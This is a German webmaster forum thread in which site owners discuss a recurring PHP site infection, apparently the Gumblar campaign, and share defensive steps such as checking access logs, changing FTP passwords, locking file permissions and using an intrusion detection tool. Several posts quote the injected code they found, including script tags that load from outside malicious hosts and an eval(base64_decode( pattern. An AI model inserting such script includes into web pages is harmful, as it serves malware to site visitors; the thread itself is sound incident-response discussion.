Wer weiss RAT?

[Speedy]

Hi.
Hatten letztens einen Virenangriff auf unsere Seiten.

Welcher VMS Profi weiss, wie und in welcher Datei man sehen kann, wann der Angriff war?

Dann würde ich mir von meinem Hoster ein Backup von 1-2 Tage vorher holen. Dann müsste doch eigentlich wieder alles sauber sein, oder?

Wer kennt sich mit sochen Virenangriffen aus, oder hat auch in letzter Zeit sowas gehabt.

Ich klicke selbt auch und weiss, dass auch einige andere Seiten betroffen sein müssen

[Parl]

Kommt drauf an welcher "Virus". Welche Merkmale hat der denn?

Hatte in den letzten Tagen beim Kollegen auch mit einem PHP-Exploit zu kämpfen. Dort werden durch irgendeine Lücke im System unerlaubte Schad-scripts eingebunden, die beim Aufruf des Users dann ausgeführt werden.
Ursache könnten gestohlene FTP Daten sein. Aber auch nach mehrmaliger PW Änderungen taucht das Problem weiterhin auf.

Leider haben wir das bis jetzt auch noch nicht beheben können, im Moment hilft nur Backup alle 24 Stunden hochzuladen... :(

Kann aber soviel sagen dass dieser Virus wahrscheinlich nichts mit dem VMS und seinen Dateien an sich zu tun hat.

MFG


EDIT: speedklicker.de war die seite, ne? Dann hast du exakt den selben "Virus"...

[Speedy]

Na ja, es tauchen im mehreren Dateien dubiose codes auf, wo niemand was mit anfangen kann. Es ist auch möglich dass diese nach dem entfernen wieder reproduziert werden und wieder drin sind. Die Folgen:

Von: User können nur noch sehr langsam klicken
Bis: Man kann sich nicht mehr einloggen

Virenprogramm bzw. Google gibt dann an, dass dies eine attakierende Webseite ist.

Darum wollte ich wissen, in welcher datei man sehen kann, von wann der erste Angriff war, damit man ein früheres backup einspielen kann

[Parl]

Auskunft geben die Access Logs, auch wenn ich da selber noch nichts aufschlussreiches gefunden hab, da Script ja beim normalen Aufruf ausgeführt wird von irgendeinem User der z.b. grad am Arthur spielt.

Die Lücke wird auch ausgenutzt durch eine Datei Namens "gifimg.php" die sich in die images Ordner von Scripten platziert und beim Aufruf nen Error 404 vortäuscht. In Wahrheit aber erlaubt die Datei, fremden PHP Code auszuführen.

Zudem baut sich dann in so ziemlich jedes Dokument welches index. oder config. heisst der Schadecode ein, welcher mit


eval(base64_decode(

beginnt.

[jpwfour]

Evtl wurde auch der FTP/SSH Zugang gehackt, bzw. via BruteForce das Passwort rausgefunden.

Dafür gibt es aber auch Logs, sprich der Hoster bzw. bei einem vServer/Server lässt sich das schon rausfinden.

Brute-Force Attacken bleiben nicht ungesehen, in dem Fall reicht es aber auch, Passwörter ändern, und alle Änderungen im Script rückgängig zu machen (und dann optional die Software gegen Brute-Force abzusichern :wink:).


Wenn es aber ein genereller Fehler im PHP-Script ist/war, dann bringt evtl. Rückgängig machen nicht viel, da derjenige dann morgen einfach die Lücke wieder ausnutzt.

Und aus den Access Logs bspw. SQL-Injections rauszulesen ist so nicht direkt möglich.


Da sollte mal jemand rüberschaun, der sich mit auskennt, man muss an sich nur alle dateien der Website in einem geeigneten Programm nach bestimmten Funktionsaufrufen, die potentiell gefährlich sind, durchsuchen lassen, und die dann alle im Kontext auf "Sicherheit" prüfen.

Evtl. mal allen Dateien die Rechte via FP entziehen, also nicht den Dateien, sondern dem User, der Gruppe und dem Rest der Welt.

Aber bitte nur machen, wenn man root Zugriff hat oder wen kennt, der das macht (Hoster).

Weil wenn nur noch "root" in die dateien schreiben darf (lese zugriff muss natürlich weiterhin bleiben), sollte der Angreifer weder per FTP noch durch eine Lücke im Script was ändern können.

Somit wäre die Gefahr vorerst gebannt, dann kann man langsam an die Fehlersuche rangehen (Problem wenn man Temporäre Daeien erstellen lässt/cache usw., aber man kann ja auch einzelne Ordner davon ausnehmen, und mal beobachetn, ob der da was reinschleusen kann. Zudem sollten das eh alles nur "nicht ausführbare dateien sein...)

[marcaust]

Was mir zu dem Thema aufgefallen ist, das bei einigen Seiten ein Script direkt nach </head> eingebunden wurde:


</head><script src=http://cima-afrique.org/_private/style.php ></script>
(bloß nicht aufrufen bitte. Die ist echt Attakierend...)

der scheint bei einigen drin zu sein.
Noch schlimmer ist es, wenn ich die Seiten Betreiber dann anschreibe, denen genau sage was das Problem ist und die das noch nicht mal entfernen.....

Vielleicht hilft das ja weiter.

[Parl]

Beim Kollegen ist es dieses hier:

<script src=http://gnci-ict.com/images/cb6m/Thumbs.php ></script>

Die Adresse wechselt aber recht häufig.

Das baut sich dann in so ziemlich jedes .htm Dokument ein sowie in die ajax/global.ajax.js ganz unten.

Egal wie oft wir die infizierten Dateien schon von dem Code befreit haben (mitunter 150 betroffene Dateien), es kehrt immer wieder zurück. :frusty:

[Jenny]

hm, hört sich für mich nach ner namogopher.php an such mal nach ner Datei die so heisst, die pflanzt auch immer irgendwas in index.php und erstellt dazu ne .php in dem Bereich texte , sobald die was findet das mit 666 oder 777 Rechte versehen ist pflanzt die sich da rein

[EarlofMidnight]

So etwas in der Art gab es vor ca 2 Jahren schon einmal, damals waren sämtliche Dateien betroffen deren Name index. enthielten.
War damals eine Sicherheitslücke in der Serversoftware die es ermöglichte Dateien zu verändern.

[Parl]

Nope, die Datei gibts bei ihm nicht, nur die gifimg.php im Ordner images, welche ebenfalls immer wieder zurückkehrt.

Hab grad im Klammforum noch was gelesen, die Seite milliarden-zocker.de scheint ebenfalls von sowas betroffen zu sein, dort ists diese Adresse:

<script src=http://kneipp-emden.de/monat/kita.php ></script>

Hab die Datei eben schon wieder löschen müssen. :frusty:

[Jenny]

@earl of midnight stimmt, da haben wir so manchen Server erst mal leer geräumt und alles neu und entvirt wieder hoch geschickt

[marcaust]

ich hab mal die Google Suche nach: http://cima-afrique.org/_private/style.php
bemüht. Hier mal die Seiten die dazu ausgespuckt werden:
http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/
http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/
http://cutephp.com/forum/index.php?showtopic=35676
http://badwarebusters.org/main/itemview/11643

Wenn ich zu diesem Thema auch noch:
http://www.arcor.de/content/pc_technik/computer/viren_news/78117273,1,artikel,Gumblar+ist+zurueck+-+Gehackte+Websites+verbreiten+Malware.html
nehme, handelt sich das um SQL-Injection....

[jpwfour]

In manchen Fällen ist sogar der Admin selber der "Schädling".

Wenn euer PC infizeirt ist, dann kann der lustige Dinge mit euren Dateien anstellen, die Ihr via FTP übertragt :yes:
(Abgesehen davon, dass die ja dann die FTP Zugangsdaten auch kennen).

Da hilft dann nicht mal Passwort ändern, weil da ja PC noch infiziert, bekommen die das neue Passwort ja gleich frei Haus geliefert...

Muss natürlich nicht sein, war aber schon oft so (daher würd ich das nicht ausschließen).

Wie man verhindern kann, dass die Dateien weiterhin verändert werden, hab ich ja vorher schon geschrieben, dafür gibt es ja (gehe mal von aus dass jeder der betroffenen Unix-basierten Server hat) die Rechteverwaltung auf Dateioperationen.

Sofern PHP bzw. FTP nicht unter root laufen (und dann könnt ihr euch auch gleich selbst ins Bein schießen), kann dann kein PHP Script noch ein User direkt via FTP die Dateien noch manipulieren.

Ihr zwar erstmal auch nicht, aber sohat man Zeit, Fehler+Lücken ausfindig zu machen.

Kleine Ankedote am Rande:
Hatte letztens jemand mit ähnlichen Symptomen, ich auch schon wild am Rätseln, bis ihm dann zufällig rausrutschte, dass er einen WebFTP Service die ganze Zeit benutzt hat :frusty:
Klar, tolles Ding, an wildfremde Seiten im www FTP daten zu geben, damit die für Ihn Dateien, die er zu denen erst lädt, auf seinen Webspace hochladen :der:

Seitdem muss er ohne FTP auskommen und "darf" alles über SVN machen :biggrin1:

[marcaust]

Wie man verhindern kann, dass die Dateien weiterhin verändert werden, hab ich ja vorher schon geschrieben, dafür gibt es ja (gehe mal von aus dass jeder der betroffenen Unix-basierten Server hat) die Rechteverwaltung auf Dateioperationen.


scheint als meinst du einen chmod 444 auf alle Dateien ;-)
Da das doch etliche nicht können stelle ich mir die Frage ob man solche Angriffe nicht mit z.Bsp.: http://phpids.org/ loggen / blocken könnte. Schließlich ist nicht jeder fähig so eine Lücke zu finden...